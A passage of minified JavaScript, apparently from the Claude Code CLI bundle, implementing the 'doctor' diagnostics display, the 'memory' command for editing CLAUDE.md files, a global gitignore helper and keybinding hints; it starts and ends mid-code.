J;if(K[0]===Symbol.for("react.memo_cache_sentinel"))J=l8.default.createElement(V,{dimColor:!0},"└ Failed to fetch versions"),K[0]=J;else J=K[0];return J}let z;if(K[1]!==Y.stable)z=Y.stable&&l8.default.createElement(V,null,"└ Stable version: ",Y.stable),K[1]=Y.stable,K[2]=z;else z=K[2];let w;if(K[3]!==Y.latest)w=l8.default.createElement(V,null,"└ Latest version: ",Y.latest),K[3]=Y.latest,K[4]=w;else w=K[4];let H;if(K[5]!==z||K[6]!==w)H=l8.default.createElement(l8.default.Fragment,null,z,w),K[5]=z,K[6]=w,K[7]=H;else H=K[7];return H}function aT1(A){let K=s(87),{onDone:q}=A,Y=F1(LB2),z=F1(CB2),w=F1(kB2),H=F1(EB2);n8();let J;if(K[0]!==z)J=z||[],K[0]=z,K[1]=J;else J=K[1];let O=J,[X,$]=m9A.useState(null),[_,G]=m9A.useState(null),[Z,W]=m9A.useState(null),[D,j]=m9A.useState(null),M=iT1(),P;if(K[2]===Symbol.for("react.memo_cache_sentinel"))P=dt().then(TB2),K[2]=P;else P=K[2];let f=P,N=yq()?.autoUpdatesChannel??"latest",T;if(K[3]!==M)T=M.filter(NB2),K[3]=M,K[4]=T;else T=K[4];let C=T,R;if(K[5]===Symbol.for("react.memo_cache_sentinel"))R=CGK(),K[5]=R;else R=K[5];let x=R,y,B;if(K[6]!==Y||K[7]!==w||K[8]!==O)y=()=>{dt().then($),(async()=>{let B1=BA(),C6=um6(w8(),"agents"),w1=um6(V8(),".claude","agents"),{activeAgents:$1,allAgents:N1,failedFiles:A6}=Y,c1={activeAgents:$1.map(fB2),userAgentsDir:C6,projectAgentsDir:w1,userDirExists:B1.existsSync(C6),projectDirExists:B1.existsSync(w1),failedFiles:A6};G(c1);let w6=await RGK(O,{activeAgents:$1,allAgents:N1,failedFiles:A6},async()=>w);if(W(w6),h9A()){let DA=um6(kT1(),"claude","locks"),EA=yT1(DA),rA=Zm6(DA);j({enabled:!0,locks:rA,locksDir:DA,staleLocksCleaned:EA})}else j({enabled:!1,locks:[],locksDir:"",staleLocksCleaned:0})})()},B=[w,O,Y],K[6]=Y,K[7]=w,K[8]=O,K[9]=y,K[10]=B;else y=K[9],B=K[10];m9A.useEffect(y,B);let b;if(K[11]!==q)b=()=>{q("Claude Code diagnostics dismissed",{display:"system"})},K[11]=q,K[12]=b;else b=K[12];let F=b,Q;if(K[13]!==F)Q={"confirm:yes":F,"confirm:no":F},K[13]=F,K[14]=Q;else Q=K[14];let u;if(K[15]===Symbol.for("react.memo_cache_sentinel"))u={context:"Confirmation"},K[15]=u;else u=K[15];if(s4(Q,u),!X){let B1;if(K[16]===Symbol.for("react.memo_cache_sentinel"))B1=l8.default.createElement(S,{paddingX:1,paddingTop:1},l8.default.createElement(V,{dimColor:!0},"Checking installation status…")),K[16]=B1;else B1=K[16];return B1}let d;if(K[17]===Symbol.for("react.memo_cache_sentinel"))d=l8.default.createElement(V,{bold:!0},"Diagnostics"),K[17]=d;else d=K[17];let r;if(K[18]!==X.installationType||K[19]!==X.version)r=l8.default.createElement(V,null,"└ Currently running: ",X.installationType," (",X.version,")"),K[18]=X.installationType,K[19]=X.version,K[20]=r;else r=K[20];let c;if(K[21]!==X.packageManager)c=X.packageManager&&l8.default.createElement(V,null,"└ Package manager: ",X.packageManager),K[21]=X.packageManager,K[22]=c;else c=K[22];let YA;if(K[23]!==X.installationPath)YA=l8.default.createElement(V,null,"└ Path: ",X.installationPath),K[23]=X.installationPath,K[24]=YA;else YA=K[24];let e;if(K[25]!==X.invokedBinary)e=l8.default.createElement(V,null,"└ Invoked: ",X.invokedBinary),K[25]=X.invokedBinary,K[26]=e;else e=K[26];let qA;if(K[27]!==X.configInstallMethod)qA=l8.default.createElement(V,null,"└ Config install method: ",X.configInstallMethod),K[27]=X.configInstallMethod,K[28]=qA;else qA=K[28];let HA=X.ripgrepStatus.working?"OK":"Not working",_A;if(K[29]!==X.ripgrepStatus.mode||K[30]!==X.ripgrepStatus.systemPath)_A=X.ripgrepStatus.mode==="builtin"?n9()?"bundled":"vendor":X.ripgrepStatus.systemPath||"system",K[29]=X.ripgrepStatus.mode,K[30]=X.ripgrepStatus.systemPath,K[31]=_A;else _A=K[31];let a;if(K[32]!==HA||K[33]!==_A)a=l8.default.createElement(V,null,"└ Search: ",HA," (",_A,")"),K[32]=HA,K[33]=_A,K[34]=a;else a=K[34];let JA;if(K[35]!==X.recommendation)JA=X.recommendation&&l8.default.createElement(l8.default.Fragment,null,l8.default.createElement(V,null),l8.default.createElement(V,{color:"warning"},"Recommendation: ",X.recommendation.split(` `)[0]),l8.default.createElement(V,{dimColor:!0},X.recommendation.split(` `)[1])),K[35]=X.recommendation,K[36]=JA;else JA=K[36];let jA;if(K[37]!==X.multipleInstallations)jA=X.multipleInstallations.length>1&&l8.default.createElement(l8.default.Fragment,null,l8.default.createElement(V,null),l8.default.createElement(V,{color:"warning"},"Warning: Multiple installations found"),X.multipleInstallations.map(VB2)),K[37]=X.multipleInstallations,K[38]=jA;else jA=K[38];let MA;if(K[39]!==X.warnings)MA=X.warnings.length>0&&l8.default.createElement(l8.default.Fragment,null,l8.default.createElement(V,null),X.warnings.map(PB2)),K[39]=X.warnings,K[40]=MA;else MA=K[40];let hA;if(K[41]!==C)hA=C.length>0&&l8.default.createElement(S,{flexDirection:"column",marginTop:1,marginBottom:1},l8.default.createElement(V,{bold:!0},"Invalid Settings"),l8.default.createElement(nT1,{errors:C})),K[41]=C,K[42]=hA;else hA=K[42];let yA;if(K[43]!==r||K[44]!==c||K[45]!==YA||K[46]!==e||K[47]!==qA||K[48]!==a||K[49]!==JA||K[50]!==jA||K[51]!==MA||K[52]!==hA)yA=l8.default.createElement(S,{flexDirection:"column"},d,r,c,YA,e,qA,a,JA,jA,MA,hA),K[43]=r,K[44]=c,K[45]=YA,K[46]=e,K[47]=qA,K[48]=a,K[49]=JA,K[50]=jA,K[51]=MA,K[52]=hA,K[53]=yA;else yA=K[53];let AA;if(K[54]===Symbol.for("react.memo_cache_sentinel"))AA=l8.default.createElement(V,{bold:!0},"Updates"),K[54]=AA;else AA=K[54];let wA=X.packageManager?"Managed by package manager":X.autoUpdates,GA;if(K[55]!==wA)GA=l8.default.createElement(V,null,"└ Auto-updates:"," ",wA),K[55]=wA,K[56]=GA;else GA=K[56];let OA;if(K[57]!==X.hasUpdatePermissions)OA=X.hasUpdatePermissions!==null&&l8.default.createElement(V,null,"└ Update permissions:"," ",X.hasUpdatePermissions?"Yes":"No (requires sudo)"),K[57]=X.hasUpdatePermissions,K[58]=OA;else OA=K[58];let t;if(K[59]===Symbol.for("react.memo_cache_sentinel"))t=l8.default.createElement(V,null,"└ Auto-update channel: ",N),K[59]=t;else t=K[59];let XA;if(K[60]===Symbol.for("react.memo_cache_sentinel"))XA=l8.default.createElement(l8.Suspense,{fallback:null},l8.default.createElement(XB2,{promise:f})),K[60]=XA;else XA=K[60];let VA;if(K[61]!==GA||K[62]!==OA)VA=l8.default.createElement(S,{flexDirection:"column"},AA,GA,OA,t,XA),K[61]=GA,K[62]=OA,K[63]=VA;else VA=K[63];let vA,RA,fA,LA;if(K[64]===Symbol.for("react.memo_cache_sentinel"))vA=l8.default.createElement(IGK,null),RA=l8.default.createElement(oT1,null),fA=l8.default.createElement(EGK,null),LA=x.length>0&&l8.default.createElement(S,{flexDirection:"column"},l8.default.createElement(V,{bold:!0},"Environment Variables"),x.map(MB2)),K[64]=vA,K[65]=RA,K[66]=fA,K[67]=LA;else vA=K[64],RA=K[65],fA=K[66],LA=K[67];let SA;if(K[68]!==D)SA=D?.enabled&&l8.default.createElement(S,{flexDirection:"column"},l8.default.createElement(V,{bold:!0},"Version Locks"),D.staleLocksCleaned>0&&l8.default.createElement(V,{dimColor:!0},"└ Cleaned ",D.staleLocksCleaned," stale lock(s)"),D.locks.length===0?l8.default.createElement(V,{dimColor:!0},"└ No active version locks"):D.locks.map(jB2)),K[68]=D,K[69]=SA;else SA=K[69];let xA;if(K[70]!==_)xA=_?.failedFiles&&_.failedFiles.length>0&&l8.default.createElement(S,{flexDirection:"column"},l8.default.createElement(V,{bold:!0,color:"error"},"Agent Parse Errors"),l8.default.createElement(V,{color:"error"},"└ Failed to parse ",_.failedFiles.length," agent file(s):"),_.failedFiles.map(DB2)),K[70]=_,K[71]=xA;else xA=K[71];let iA;if(K[72]!==H)iA=H.length>0&&l8.default.createElement(S,{flexDirection:"column"},l8.default.createElement(V,{bold:!0,color:"error"},"Plugin Errors"),l8.default.createElement(V,{color:"error"},"└ ",H.length," plugin error(s) detected:"),H.map(WB2)),K[72]=H,K[73]=iA;else iA=K[73];let lA;if(K[74]!==Z)lA=Z?.unreachableRulesWarning&&l8.default.createElement(S,{flexDirection:"column"},l8.default.createElement(V,{bold:!0,color:"warning"},"Unreachable Permission Rules"),l8.default.createElement(V,null,"└"," ",l8.default.createElement(V,{color:"warning"},eA.warning," ",Z.unreachableRulesWarning.message)),Z.unreachableRulesWarning.details.map(ZB2)),K[74]=Z,K[75]=lA;else lA=K[75];let v1;if(K[76]!==Z)v1=Z&&(Z.claudeMdWarning||Z.agentWarning||Z.mcpWarning)&&l8.default.createElement(S,{flexDirection:"column"},l8.default.createElement(V,{bold:!0},"Context Usage Warnings"),Z.claudeMdWarning&&l8.default.createElement(l8.default.Fragment,null,l8.default.createElement(V,null,"└"," ",l8.default.createElement(V,{color:"warning"},eA.warning," ",Z.claudeMdWarning.message)),l8.default.createElement(V,null," ","└ Files:"),Z.claudeMdWarning.details.map(GB2)),Z.agentWarning&&l8.default.createElement(l8.default.Fragment,null,l8.default.createElement(V,null,"└"," ",l8.default.createElement(V,{color:"warning"},eA.warning," ",Z.agentWarning.message)),l8.default.createElement(V,null," ","└ Top contributors:"),Z.agentWarning.details.map(_B2)),Z.mcpWarning&&l8.default.createElement(l8.default.Fragment,null,l8.default.createElement(V,null,"└"," ",l8.default.createElement(V,{color:"warning"},eA.warning," ",Z.mcpWarning.message)),l8.default.createElement(V,null," ","└ MCP servers:"),Z.mcpWarning.details.map($B2))),K[76]=Z,K[77]=v1;else v1=K[77];let I1;if(K[78]===Symbol.for("react.memo_cache_sentinel"))I1=l8.default.createElement(S,null,l8.default.createElement(lPA,null)),K[78]=I1;else I1=K[78];let Q1;if(K[79]!==yA||K[80]!==VA||K[81]!==SA||K[82]!==xA||K[83]!==iA||K[84]!==lA||K[85]!==v1)Q1=l8.default.createElement(S,{flexDirection:"column",gap:1,paddingX:1,paddingTop:1},yA,VA,vA,RA,fA,LA,SA,xA,iA,lA,v1,I1),K[79]=yA,K[80]=VA,K[81]=SA,K[82]=xA,K[83]=iA,K[84]=lA,K[85]=v1,K[86]=Q1;else Q1=K[86];return Q1}function $B2(A,K){return l8.default.createElement(V,{key:K,dimColor:!0}," ","└ ",A)}function _B2(A,K){return l8.default.createElement(V,{key:K,dimColor:!0}," ","└ ",A)}function GB2(A,K){return l8.default.createElement(V,{key:K,dimColor:!0}," ","└ ",A)}function ZB2(A,K){return l8.default.createElement(V,{key:K,dimColor:!0}," ","└ ",A)}function WB2(A,K){return l8.default.createElement(V,{key:K,dimColor:!0}," ","└ ",A.source||"unknown","plugin"in A&&A.plugin?` [${A.plugin}]`:"",":"," ",_M(A))}function DB2(A,K){return l8.default.createElement(V,{key:K,dimColor:!0}," ","└ ",A.path,": ",A.error)}function jB2(A,K){return l8.default.createElement(V,{key:K},"└ ",A.version,": PID ",A.pid," ",A.isProcessRunning?l8.default.createElement(V,null,"(running)"):l8.default.createElement(V,{color:"warning"},"(stale)"))}function MB2(A,K){return l8.default.createElement(V,{key:K},"└ ",A.name,":"," ",l8.default.createElement(V,{color:A.status==="capped"?"warning":"error"},A.message))}function PB2(A,K){return l8.default.createElement(S,{key:K,flexDirection:"column"},l8.default.createElement(V,{color:"warning"},"Warning: ",A.issue),l8.default.createElement(V,null,"Fix: ",A.fix))}function VB2(A,K){return l8.default.createElement(V,{key:K},"└ ",A.type," at ",A.path)}function fB2(A){return{agentType:A.agentType,source:A.source}}function NB2(A){return A.mcpErrorMetadata===void 0}function TB2(A){return(A.installationType==="native"?aKK:oKK)().catch(vB2)}function vB2(){return{latest:null,stable:null}}function EB2(A){return A.plugins.errors}function kB2(A){return A.toolPermissionContext}function CB2(A){return A.mcp.tools}function LB2(A){return A.agentDefinitions}var l8,m9A;var Bm6=k(()=>{cA();mA();C8();Iq();g4();mS();yd();I8();cT1();Sm6();hm6();bm6();kGK();q6();e6();l6();LGK();yGK();Wm6();Xm6();A4();SGK();l8=o($A(),1),m9A=o($A(),1)});var hGK,RB2,bGK;var xGK=k(()=>{Bm6();hGK=o($A(),1),RB2={name:"doctor",description:"Diagnose and verify your Claude Code installation and settings",isEnabled:()=>!process.env.DISABLE_DOCTOR_COMMAND,isHidden:!1,userFacingName(){return"doctor"},type:"local-jsx",call(A,K,q){return new Promise((Y)=>Y(hGK.default.createElement(aT1,{onDone:A})))}},bGK=RB2});var mm6=k(()=>{l6()});var gm6=k(()=>{LBA();Z1();b1();e6();RBA();mm6();b1()});var Fm6=k(()=>{LBA();Z1();C1();pj6();Qj6();mm6();b1();e6();RBA();gm6();b1()});var SB2;var uGK=k(()=>{cA();mA();q9();Iq();C8();mA();SB2=o($A(),1)});var hB2,bB2;var BGK=k(()=>{cA();mA();C8();hB2=o($A(),1),bB2=o($A(),1)});var xB2,mGK;var gGK=k(()=>{mA();C8();nH();i2();gm6();Z1();xB2=o($A(),1),mGK=o($A(),1)});var uB2,Qm6;var FGK=k(()=>{ppA();Fm6();uGK();BGK();gGK();Z1();uB2=o($A(),1),Qm6=o($A(),1)});var Um6;var QGK=k(()=>{mA();C8();i2();Fm6();Z1();e6();Oz();FGK();Um6=o($A(),1)});function BB2(A){return!!Z28(A)}async function Rm(A){let K=Kh();if(!K)throw Error("No editor available");RE(`${K} "${A}"`,{stdio:"inherit"})}var Kh;var ym=k(()=>{yTA();p7();Ki();Kh=z6(()=>{if(process.env.VISUAL?.trim())return process.env.VISUAL.trim();if(process.env.EDITOR?.trim())return process.env.EDITOR.trim();if(process.platform==="win32")return"start /wait notepad";return["code","vi","nano"].find((K)=>BB2(K))})});import{join as mB2,dirname as gB2}from"path";import{homedir as FB2}from"os";async function QB2(A,K){let{code:q}=await A7("git",["check-ignore",A],{preserveOutputOnError:!1,cwd:K});return q===0}function UB2(){return mB2(FB2(),".config","git","ignore")}async function pm6(A,K=x1()){try{if(!await Pt6(K))return;let q=`**/${A}`,Y=A.endsWith("/")?`${A}sample-file.txt`:A;if(await QB2(Y,K))return;let z=UB2(),w=BA(),H=gB2(z);if(!w.existsSync(H))w.mkdirSync(H);if(w.existsSync(z)){if(w.readFileSync(z,{encoding:"utf-8"}).includes(q))return;w.appendFileSync(z,` ${q} `)}else x8(z,`${q} `,"utf-8")}catch(q){KA(q instanceof Error?q:Error(String(q)))}}var dm6=k(()=>{Jw();e6();y4();C1();CK();b1()});import{execFileSync as pB2}from"child_process";function UGK(A){try{pB2("git",["rev-parse","--is-inside-work-tree"],{cwd:A,stdio:"ignore"})}catch(K){return!1}return!0}var pGK=k(()=>{e6();dm6()});import{join as dGK}from"path";function lGK(A){let K=s(6),{onSelect:q,onCancel:Y,title:z,renderDetails:w}=A,H=t0(),J=dGK(w8(),"CLAUDE.md"),O=dGK(V8(),"CLAUDE.md"),X=H.some((x)=>x.path===J),$=H.some((x)=>x.path===O),_=[...H.map(cB2),...X?[]:[{path:J,type:"User",content:"",exists:!1}],...$?[]:[{path:O,type:"Project",content:"",exists:!1}]],G=new Map,Z=_.map((x)=>{let y=Z5(x.path),B=x.exists?"":" (new)",b=x.parent?(G.get(x.parent)??0)+1:0;G.set(x.path,b);let F=b>0?" ".repeat(b-1):"",Q;if(x.type==="User"&&!x.isNested&&x.path===J)Q="User memory";else if(x.type==="Project"&&!x.isNested&&x.path===O)Q="Project memory";else if(b>0)Q=`${F}L ${y}${B}`;else Q=`${y}`;let u,d=UGK(V8());if(x.type==="User"&&!x.isNested)u="Saved in ~/.claude/CLAUDE.md";else if(x.type==="Project"&&!x.isNested&&x.path===O)u=`${d?"Checked in at":"Saved in"} ./CLAUDE.md`;else if(x.type,x.parent)u="@-imported";else if(x.isNested)u="dynamically loaded";else u="";return{label:Q,value:x.path,description:u}}),W=sT1&&Z.some(dB2)?sT1:Z[0]?.value||"",[D,j]=cGK.useState(W),P=_.find((x)=>x.path===D)?.type;n8();let f;if(K[0]===Symbol.for("react.memo_cache_sentinel"))f={context:"Confirmation"},K[0]=f;else f=K[0];J6("confirm:no",Y,f);let N=z||"Select memory file to edit:",T;if(K[1]!==N)T=mv.createElement(S,{marginBottom:1,flexDirection:"row",justifyContent:"space-between"},mv.createElement(V,{color:"remember",bold:!0},N)),K[1]=N,K[2]=T;else T=K[2];let C;if(K[3]===Symbol.for("react.memo_cache_sentinel"))C=(x)=>j(x),K[3]=C;else C=K[3];let R;if(K[4]!==q)R=(x)=>{sT1=x,q(x)},K[4]=q,K[5]=R;else R=K[5];return mv.createElement(S,{flexDirection:"column",borderStyle:"round",borderColor:"remember",padding:1,width:"100%"},T,mv.createElement(S,{flexDirection:"column",paddingX:1},mv.createElement(E6,{defaultFocusValue:W,options:Z,onFocus:C,onChange:R,onCancel:Y})),w&&mv.createElement(S,{marginTop:1,flexDirection:"column"},w(D,P)))}function dB2(A){return A.value===sT1}function cB2(A){return{...A,exists:!0}}var mv,cGK,sT1;var iGK=k(()=>{cA();mA();q9();Iq();C8();gZ();YK();pGK();q6();l6();mv=o($A(),1),cGK=o($A(),1)});import{homedir as lB2}from"os";import{relative as iB2}from"path";function nGK(A){let K=lB2(),q=x1(),Y=A.startsWith(K)?"~"+A.slice(K.length):null,z=A.startsWith(q)?"./"+iB2(q,A):null;if(Y&&z)return Y.length<=z.length?Y:z;return Y||z||A}var nB2;var rGK=k(()=>{cA();mA();y4();nB2=o($A(),1)});function oB2({onDone:A}){cm6.useState(()=>{t0.cache.clear?.()});let{columns:K}=f8(),q=async(O)=>{try{if(O.includes(w8())){let Z=w8();if(!BA().existsSync(Z))BA().mkdirSync(Z)}if(!BA().existsSync(O))x8(O,"",{encoding:"utf8",flush:!0});await Rm(O);let X="default",$="";if(process.env.VISUAL)X="$VISUAL",$=process.env.VISUAL;else if(process.env.EDITOR)X="$EDITOR",$=process.env.EDITOR;let _=X!=="default"?`Using ${X}="${$}".`:"",G=_?`> ${_} To change editor, set $EDITOR or $VISUAL environment variable.`:"> To use a different editor, set the $EDITOR or $VISUAL environment variable.";A(`Opened memory file at ${nGK(O)} ${G}`,{display:"system"})}catch(X){KA(X instanceof Error?X:Error(String(X))),A(`Error opening memory file: ${X}`)}},Y=()=>{A("Cancelled memory editing",{display:"system"})},w=[].length,[H,J]=cm6.useState(!1);return K8((O,X)=>{}),J6("confirm:no",()=>{J(!1)},{context:"Confirmation",isActive:!1}),gv.createElement(S,{flexDirection:"column"},gv.createElement(S,{marginTop:1,marginBottom:1},gv.createElement(V,{dimColor:!0},"Learn more: ",gv.createElement(X7,{url:"https://code.claude.com/docs/en/memory"}))),!1,!1,!1,!H&&gv.createElement(lGK,{title:"Select memory to edit:",onSelect:q,onCancel:Y}))}var gv,cm6,rB2,oGK;var aGK=k(()=>{l6();C1();ym();e6();b1();iGK();rGK();mA();C8();mA();gZ();uK();gv=o($A(),1),cm6=o($A(),1),rB2={type:"local-jsx",name:"memory",description:"Edit Claude memory files",isEnabled:()=>!0,isHidden:!1,async call(A){return gv.createElement(oB2,{onDone:A})},userFacingName(){return this.name}};oGK=rB2});function fe(){return M1().editorMode==="vim"}function sGK(){if(m6.terminal==="Apple_Terminal"&&process.platform==="darwin")return"shift + ⏎ for newline";if(L4A.isEnabled()&&YZ4())return"shift + ⏎ for newline";return zZ4()?"\\⏎ for newline":"backslash (\\) + return (⏎) for newline"}var nPA=k(()=>{R4A();i6();z3()});function g9A(A){return A.replace(/\+/g," + ")}function tT1(A){let K=s(84),{dimColor:q,fixedWidth:Y,gap:z,paddingX:w}=A,H=cK("app:toggleTranscript","Global","ctrl+o"),J;if(K[0]!==H)J=g9A(H),K[0]=H,K[1]=J;else J=K[1];let O=J,X=cK("app:toggleTodos","Global","ctrl+t"),$;if(K[2]!==X)$=g9A(X),K[2]=X,K[3]=$;else $=K[3];let _=$,G=cK("chat:undo","Chat","ctrl+_"),Z;if(K[4]!==G)Z=g9A(G),K[4]=G,K[5]=Z;else Z=K[5];let W=Z,D=cK("chat:stash","Chat","ctrl+s"